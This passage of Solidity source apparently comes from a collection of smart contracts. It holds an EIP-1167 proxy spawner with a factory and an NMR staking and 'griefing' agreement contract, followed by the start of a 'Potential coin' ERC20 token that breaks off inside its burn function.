bytes memory runtimeCode = abi.encodePacked(
bytes10(0x363d3d373d3d3d363d73),
logicContract,
bytes15(0x5af43d82803e903d91602b57fd5bf3)
);
// return eip-1167 code to write it to spawned contract runtime.
assembly {
return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length
}
}
}
/**
* @title Spawner
* @author 0age
* @notice This contract spawns and initializes eip-1167 minimal proxies that
* point to existing logic contracts. The logic contracts need to have an
* intitializer function that should only callable when no contract exists at
* their current address (i.e. it is being `DELEGATECALL`ed from a constructor).
*/
contract Spawner {
/**
* @notice Internal function for spawning an eip-1167 minimal proxy using
* `CREATE2`.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @return The address of the newly-spawned contract.
*/
function _spawn(
address logicContract,
bytes memory initializationCalldata
) internal returns (address spawnedContract) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get salt to use during deployment using the supplied initialization code.
(bytes32 salt, address target) = _getSaltAndTarget(initCode);
// spawn the contract using `CREATE2`.
spawnedContract = _spawnCreate2(initCode, salt, target);
}
/**
* @notice Internal function for spawning an eip-1167 minimal proxy using
* `CREATE2`.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @param salt bytes32 A random salt
* @return The address of the newly-spawned contract.
*/
function _spawnSalty(
address logicContract,
bytes memory initializationCalldata,
bytes32 salt
) internal returns (address spawnedContract) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
address target = _computeTargetAddress(logicContract, initializationCalldata, salt);
uint256 codeSize;
assembly { codeSize := extcodesize(target) }
require(codeSize == 0, "contract already deployed with supplied salt");
// spawn the contract using `CREATE2`.
spawnedContract = _spawnCreate2(initCode, salt, target);
}
/**
* @notice Internal view function for finding the address of the next standard
* eip-1167 minimal proxy created using `CREATE2` with a given logic contract
* and initialization calldata payload.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @return The address of the next spawned minimal proxy contract with the
* given parameters.
*/
function _getNextAddress(
address logicContract,
bytes memory initializationCalldata
) internal view returns (address target) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get target address using the constructed initialization code.
(, target) = _getSaltAndTarget(initCode);
}
/**
* @notice Internal view function for finding the address of the next standard
* eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
* salt, and initialization calldata payload.
* @param initCodeHash bytes32 The encoded hash of initCode
* @param salt bytes32 A random salt
* @return The address of the next spawned minimal proxy contract with the
* given parameters.
*/
function _computeTargetAddress(
bytes32 initCodeHash,
bytes32 salt
) internal view returns (address target) {
target = address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
bytes1(0xff), // pass in the control character.
address(this), // pass in the address of this contract.
salt, // pass in the salt from above.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
}
/**
* @notice Internal view function for finding the address of the next standard
* eip-1167 minimal proxy created using `CREATE2` with a given logic contract
* and initialization calldata payload.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @param salt bytes32 A random salt
* @return The address of the next spawned minimal proxy contract with the
* given parameters.
*/
function _computeTargetAddress(
address logicContract,
bytes memory initializationCalldata,
bytes32 salt
) internal view returns (address target) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get the keccak256 hash of the init code for address derivation.
bytes32 initCodeHash = keccak256(initCode);
target = _computeTargetAddress(initCodeHash, salt);
}
/**
* @notice Private function for spawning a compact eip-1167 minimal proxy
* using `CREATE2`. Provides logic that is reused by internal functions. A
* salt will also be chosen based on the calling address and a computed nonce
* that prevents deployments to existing addresses.
* @param initCode bytes The contract creation code.
* @param salt bytes32 A random salt
* @param target address The expected address of the new contract
* @return The address of the newly-spawned contract.
*/
function _spawnCreate2(
bytes memory initCode,
bytes32 salt,
address target
) private returns (address spawnedContract) {
assembly {
let encoded_data := add(0x20, initCode) // load initialization code.
let encoded_size := mload(initCode) // load the init code's length.
spawnedContract := create2( // call `CREATE2` w/ 4 arguments.
callvalue, // forward any supplied endowment.
encoded_data, // pass in initialization code.
encoded_size, // pass in init code's length.
salt // pass in the salt value.
)
// pass along failure message from failed contract deployment and revert.
if iszero(spawnedContract) {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
require(spawnedContract == target, "attempted deployment to unexpected address");
}
/**
* @notice Private function for determining the salt and the target deployment
* address for the next spawned contract (using create2) based on the contract
* creation code.
*/
function _getSaltAndTarget(
bytes memory initCode
) private view returns (bytes32 salt, address target) {
// get the keccak256 hash of the init code for address derivation.
bytes32 initCodeHash = keccak256(initCode);
// set the initial nonce to be provided when constructing the salt.
uint256 nonce = 0;
// declare variable for code size of derived address.
uint256 codeSize;
while (true) {
// derive `CREATE2` salt using `msg.sender` and nonce.
salt = keccak256(abi.encodePacked(msg.sender, nonce));
target = _computeTargetAddress(initCodeHash, salt);
// determine if a contract is already deployed to the target address.
assembly { codeSize := extcodesize(target) }
// exit the loop if no contract is deployed to the target address.
if (codeSize == 0) {
break;
}
// otherwise, increment the nonce and derive a new salt.
nonce++;
}
}
}
interface iRegistry {
enum FactoryStatus { Unregistered, Registered, Retired }
event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData);
event FactoryRetired(address owner, address factory, uint256 factoryID);
event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID);
// factory state functions
function addFactory(address factory, bytes calldata extraData ) external;
function retireFactory(address factory) external;
// factory view functions
function getFactoryCount() external view returns (uint256 count);
function getFactoryStatus(address factory) external view returns (FactoryStatus status);
function getFactoryID(address factory) external view returns (uint16 factoryID);
function getFactoryData(address factory) external view returns (bytes memory extraData);
function getFactoryAddress(uint16 factoryID) external view returns (address factory);
function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData);
function getFactories() external view returns (address[] memory factories);
function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories);
// instance state functions
function register(address instance, address creator, uint80 extraData) external;
// instance view functions
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EventMetadata {
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
}
contract Operated {
address private _operator;
bool private _status;
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
}
/* Deadline
*
*/
contract Deadline {
uint256 private _deadline;
event DeadlineSet(uint256 deadline);
// state functions
function _setDeadline(uint256 deadline) internal {
_deadline = deadline;
emit DeadlineSet(deadline);
}
// view functions
function getDeadline() public view returns (uint256 deadline) {
deadline = _deadline;
}
// if the _deadline is not set yet, isAfterDeadline will return true
// due to now - 0 = now
function isAfterDeadline() public view returns (bool status) {
if (_deadline == 0) {
status = false;
} else {
status = (now >= _deadline);
}
}
}
/* @title DecimalMath
* @dev taken from https://github.com/PolymathNetwork/polymath-core
* @dev Apache v2 License
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant e18 = uint256(10) ** uint256(18);
/**
* @notice This function multiplies two decimals represented as (decimal * 10**DECIMALS)
* @return uint256 Result of multiplication represented as (decimal * 10**DECIMALS)
*/
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = SafeMath.add(SafeMath.mul(x, y), (e18) / 2) / (e18);
}
/**
* @notice This function divides two decimals represented as (decimal * 10**DECIMALS)
* @return uint256 Result of division represented as (decimal * 10**DECIMALS)
*/
function div(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = SafeMath.add(SafeMath.mul(x, (e18)), y / 2) / y;
}
}
/* TODO: Update eip165 interface
* bytes4(keccak256('create(bytes)')) == 0xcf5ba53f
* bytes4(keccak256('getInstanceType()')) == 0x18c2f4cf
* bytes4(keccak256('getInstanceRegistry()')) == 0xa5e13904
* bytes4(keccak256('getImplementation()')) == 0xaaf10f42
*
* => 0xcf5ba53f ^ 0x18c2f4cf ^ 0xa5e13904 ^ 0xaaf10f42 == 0xd88967b6
*/
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes calldata initData) external returns (address instance);
function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(bytes calldata, bytes32 salt) external view returns (address instance);
function getNextInstance(bytes calldata) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract iNMR {
// ERC20
function totalSupply() external returns (uint256);
function balanceOf(address _owner) external returns (uint256);
function allowance(address _owner, address _spender) external returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool ok);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool ok);
function approve(address _spender, uint256 _value) external returns (bool ok);
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) external returns (bool ok);
// burn
function mint(uint256 _value) external returns (bool ok);
// burnFrom
function numeraiTransfer(address _to, uint256 _value) external returns (bool ok);
}
contract Factory is Spawner {
address[] private _instances;
mapping (address => address) private _instanceCreator;
/* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */
address private _templateContract;
bytes4 private _initSelector;
address private _instanceRegistry;
bytes4 private _instanceType;
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, bytes4 initSelector) internal {
// set instance registry
_instanceRegistry = instanceRegistry;
// set logic contract
_templateContract = templateContract;
// set initSelector
_initSelector = initSelector;
// validate correct instance registry
require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type');
// set instanceType
_instanceType = instanceType;
}
// IFactory methods
function create(bytes memory callData) public returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawn(getTemplate(), callData);
_createHelper(instance, callData);
}
function createSalty(bytes memory callData, bytes32 salt) public returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawnSalty(getTemplate(), callData, salt);
_createHelper(instance, callData);
}
function _createHelper(address instance, bytes memory callData) private {
// add the instance to the array
_instances.push(instance);
// set instance creator
_instanceCreator[instance] = msg.sender;
// add the instance to the instance registry
iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint80(0));
// emit event
emit InstanceCreated(instance, msg.sender, callData);
}
function getSaltyInstance(
bytes memory callData,
bytes32 salt
) public view returns (address target) {
return Spawner._computeTargetAddress(getTemplate(), callData, salt);
}
function getNextInstance(
bytes memory callData
) public view returns (address target) {
return Spawner._getNextAddress(getTemplate(), callData);
}
function getInstanceCreator(address instance) public view returns (address creator) {
creator = _instanceCreator[instance];
}
function getInstanceType() public view returns (bytes4 instanceType) {
instanceType = _instanceType;
}
function getInitSelector() public view returns (bytes4 initSelector) {
initSelector = _initSelector;
}
function getInstanceRegistry() public view returns (address instanceRegistry) {
instanceRegistry = _instanceRegistry;
}
function getTemplate() public view returns (address template) {
template = _templateContract;
}
function getInstanceCount() public view returns (uint256 count) {
count = _instances.length;
}
function getInstance(uint256 index) public view returns (address instance) {
require(index < _instances.length, "index out of range");
instance = _instances[index];
}
function getInstances() public view returns (address[] memory instances) {
instances = _instances;
}
// Note: startIndex is inclusive, endIndex exclusive
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) {
require(startIndex < endIndex, "startIndex must be less than endIndex");
require(endIndex <= _instances.length, "end index out of range");
// initialize fixed size memory array
address[] memory range = new address[](endIndex - startIndex);
// Populate array with addresses in range
for (uint256 i = startIndex; i < endIndex; i++) {
range[i - startIndex] = _instances[i];
}
// return array of addresses
instances = range;
}
}
/* Countdown timer
*/
contract Countdown is Deadline {
using SafeMath for uint256;
uint256 private _length;
event LengthSet(uint256 length);
// state functions
function _setLength(uint256 length) internal {
_length = length;
emit LengthSet(length);
}
function _start() internal returns (uint256 deadline) {
deadline = _length.add(now);
Deadline._setDeadline(deadline);
}
// view functions
function getLength() public view returns (uint256 length) {
length = _length;
}
// if Deadline._setDeadline or Countdown._setLength is not called,
// isOver will yield false
function isOver() public view returns (bool status) {
// when deadline not set,
// countdown has not started, hence not isOver
if (Deadline.getDeadline() == 0) {
status = false;
} else {
status = Deadline.isAfterDeadline();
}
}
// timeRemaining will default to 0 if _setDeadline is not called
// if the now exceeds deadline, just return 0 as the timeRemaining
function timeRemaining() public view returns (uint256 time) {
if (now >= Deadline.getDeadline()) {
time = 0;
} else {
time = Deadline.getDeadline().sub(now);
}
}
}
contract Template {
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
function getFactory() public view returns (address factory) {
factory = _factory;
}
}
/**
* @title NMR token burning helper
* @dev Allows for calling NMR burn functions using regular openzeppelin ERC20Burnable interface and revert on failure.
*/
contract BurnNMR {
// address of the token
address private constant _Token = address(0x1776e1F26f98b1A5dF9cD347953a26dd3Cb46671);
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function _burn(uint256 value) internal {
require(iNMR(_Token).mint(value), "nmr burn failed");
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance.
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function _burnFrom(address from, uint256 value) internal {
require(iNMR(_Token).numeraiTransfer(from, value), "nmr burnFrom failed");
}
function getToken() public pure returns (address token) {
token = _Token;
}
}
contract Staking is BurnNMR {
using SafeMath for uint256;
mapping (address => uint256) private _stake;
event StakeAdded(address staker, address funder, uint256 amount, uint256 newStake);
event StakeTaken(address staker, address recipient, uint256 amount, uint256 newStake);
event StakeBurned(address staker, uint256 amount, uint256 newStake);
function _addStake(address staker, address funder, uint256 currentStake, uint256 amountToAdd) internal {
// require current stake amount matches expected amount
require(currentStake == _stake[staker], "current stake incorrect");
// require non-zero stake to add
require(amountToAdd > 0, "no stake to add");
// calculate new stake amount
uint256 newStake = currentStake.add(amountToAdd);
// set new stake to storage
_stake[staker] = newStake;
// transfer the stake amount
require(IERC20(BurnNMR.getToken()).transferFrom(funder, address(this), amountToAdd), "token transfer failed");
// emit event
emit StakeAdded(staker, funder, amountToAdd, newStake);
}
function _takeStake(address staker, address recipient, uint256 currentStake, uint256 amountToTake) internal {
// require current stake amount matches expected amount
require(currentStake == _stake[staker], "current stake incorrect");
// require non-zero stake to take
require(amountToTake > 0, "no stake to take");
// amountToTake has to be less than equal currentStake
require(amountToTake <= currentStake, "cannot take more than currentStake");
// calculate new stake amount
uint256 newStake = currentStake.sub(amountToTake);
// set new stake to storage
_stake[staker] = newStake;
// transfer the stake amount
require(IERC20(BurnNMR.getToken()).transfer(recipient, amountToTake), "token transfer failed");
// emit event
emit StakeTaken(staker, recipient, amountToTake, newStake);
}
function _takeFullStake(address staker, address recipient) internal returns (uint256 stake) {
// get stake from storage
stake = _stake[staker];
// take full stake
_takeStake(staker, recipient, stake, stake);
}
function _burnStake(address staker, uint256 currentStake, uint256 amountToBurn) internal {
// require current stake amount matches expected amount
require(currentStake == _stake[staker], "current stake incorrect");
// require non-zero stake to burn
require(amountToBurn > 0, "no stake to burn");
// amountToTake has to be less than equal currentStake
require(amountToBurn <= currentStake, "cannot burn more than currentStake");
// calculate new stake amount
uint256 newStake = currentStake.sub(amountToBurn);
// set new stake to storage
_stake[staker] = newStake;
// burn the stake amount
BurnNMR._burn(amountToBurn);
// emit event
emit StakeBurned(staker, amountToBurn, newStake);
}
function _burnFullStake(address staker) internal returns (uint256 stake) {
// get stake from storage
stake = _stake[staker];
// burn full stake
_burnStake(staker, stake, stake);
}
// view functions
function getStake(address staker) public view returns (uint256 stake) {
stake = _stake[staker];
}
}
contract Griefing is Staking {
enum RatioType { NaN, Inf, Dec }
mapping (address => GriefRatio) private _griefRatio;
struct GriefRatio {
uint256 ratio;
RatioType ratioType;
}
event RatioSet(address staker, uint256 ratio, RatioType ratioType);
event Griefed(address punisher, address staker, uint256 punishment, uint256 cost, bytes message);
uint256 internal constant e18 = uint256(10) ** uint256(18);
// state functions
function _setRatio(address staker, uint256 ratio, RatioType ratioType) internal {
if (ratioType == RatioType.NaN || ratioType == RatioType.Inf) {
require(ratio == 0, "ratio must be 0 when ratioType is NaN or Inf");
}
// set data in storage
_griefRatio[staker].ratio = ratio;
_griefRatio[staker].ratioType = ratioType;
// emit event
emit RatioSet(staker, ratio, ratioType);
}
function _grief(
address punisher,
address staker,
uint256 currentStake,
uint256 punishment,
bytes memory message
) internal returns (uint256 cost) {
// prevent accidental double punish
// cannot be strict equality to prevent frontrunning
require(currentStake <= Staking.getStake(staker), "current stake incorrect");
// get grief data from storage
uint256 ratio = _griefRatio[staker].ratio;
RatioType ratioType = _griefRatio[staker].ratioType;
require(ratioType != RatioType.NaN, "no punishment allowed");
// calculate cost
// getCost also acts as a guard when _setRatio is not called before
cost = getCost(ratio, punishment, ratioType);
// burn the cost from the punisher's balance
BurnNMR._burnFrom(punisher, cost);
// burn the punishment from the target's stake
Staking._burnStake(staker, currentStake, punishment);
// emit event
emit Griefed(punisher, staker, punishment, cost, message);
}
// view functions
function getRatio(address staker) public view returns (uint256 ratio, RatioType ratioType) {
// get stake data from storage
ratio = _griefRatio[staker].ratio;
ratioType = _griefRatio[staker].ratioType;
}
// pure functions
function getCost(uint256 ratio, uint256 punishment, RatioType ratioType) public pure returns(uint256 cost) {
/* Dec: Cost multiplied by ratio interpreted as a decimal number with 18 decimals, e.g. 1 -> 1e18
* Inf: Punishment at no cost
* NaN: No Punishment */
if (ratioType == RatioType.Dec) {
return DecimalMath.mul(SafeMath.mul(punishment, e18), ratio) / e18;
}
if (ratioType == RatioType.Inf)
return 0;
if (ratioType == RatioType.NaN)
revert("ratioType cannot be RatioType.NaN");
}
function getPunishment(uint256 ratio, uint256 cost, RatioType ratioType) public pure returns(uint256 punishment) {
/* Dec: Ratio is a decimal number with 18 decimals
* Inf: Punishment at no cost
* NaN: No Punishment */
if (ratioType == RatioType.Dec) {
return DecimalMath.div(SafeMath.mul(cost, e18), ratio) / e18;
}
if (ratioType == RatioType.Inf)
revert("ratioType cannot be RatioType.Inf");
if (ratioType == RatioType.NaN)
revert("ratioType cannot be RatioType.NaN");
}
}
/* Immediately engage with specific buyer
* - Stake can be increased at any time.
* - Counterparty can greif the staker at predefined ratio.
*
* NOTE:
* - This top level contract should only perform access control and state transitions
*
*/
contract SimpleGriefing is Griefing, EventMetadata, Operated, Template {
using SafeMath for uint256;
Data private _data;
struct Data {
address staker;
address counterparty;
}
event Initialized(address operator, address staker, address counterparty, uint256 ratio, Griefing.RatioType ratioType, bytes metadata);
function initialize(
address operator,
address staker,
address counterparty,
uint256 ratio,
Griefing.RatioType ratioType,
bytes memory metadata
) public initializeTemplate() {
// set storage values
_data.staker = staker;
_data.counterparty = counterparty;
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// set griefing ratio
Griefing._setRatio(staker, ratio, ratioType);
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, staker, counterparty, ratio, ratioType, metadata);
}
// state functions
function setMetadata(bytes memory metadata) public {
// restrict access
require(isStaker(msg.sender) || Operated.isActiveOperator(msg.sender), "only staker or active operator");
// update metadata
EventMetadata._setMetadata(metadata);
}
function increaseStake(uint256 currentStake, uint256 amountToAdd) public {
// restrict access
require(isStaker(msg.sender) || Operated.isActiveOperator(msg.sender), "only staker or active operator");
// add stake
Staking._addStake(_data.staker, msg.sender, currentStake, amountToAdd);
}
function reward(uint256 currentStake, uint256 amountToAdd) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isActiveOperator(msg.sender), "only counterparty or active operator");
// add stake
Staking._addStake(_data.staker, msg.sender, currentStake, amountToAdd);
}
function punish(uint256 currentStake, uint256 punishment, bytes memory message) public returns (uint256 cost) {
// restrict access
require(isCounterparty(msg.sender) || Operated.isActiveOperator(msg.sender), "only counterparty or active operator");
// execute griefing
cost = Griefing._grief(msg.sender, _data.staker, currentStake, punishment, message);
}
function releaseStake(uint256 currentStake, uint256 amountToRelease) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isActiveOperator(msg.sender), "only counterparty or active operator");
// release stake back to the staker
Staking._takeStake(_data.staker, _data.staker, currentStake, amountToRelease);
}
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
function renounceOperator() public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._renounceOperator();
}
// view functions
function isStaker(address caller) public view returns (bool validity) {
validity = (caller == _data.staker);
}
function isCounterparty(address caller) public view returns (bool validity) {
validity = (caller == _data.counterparty);
}
}
contract SimpleGriefing_Factory is Factory {
constructor(address instanceRegistry, address templateContract) public {
SimpleGriefing template;
// set instance type
bytes4 instanceType = bytes4(keccak256(bytes('Agreement')));
// set initSelector
bytes4 initSelector = template.initialize.selector;
// initialize factory params
Factory._initialize(instanceRegistry, templateContract, instanceType, initSelector);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Potential coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
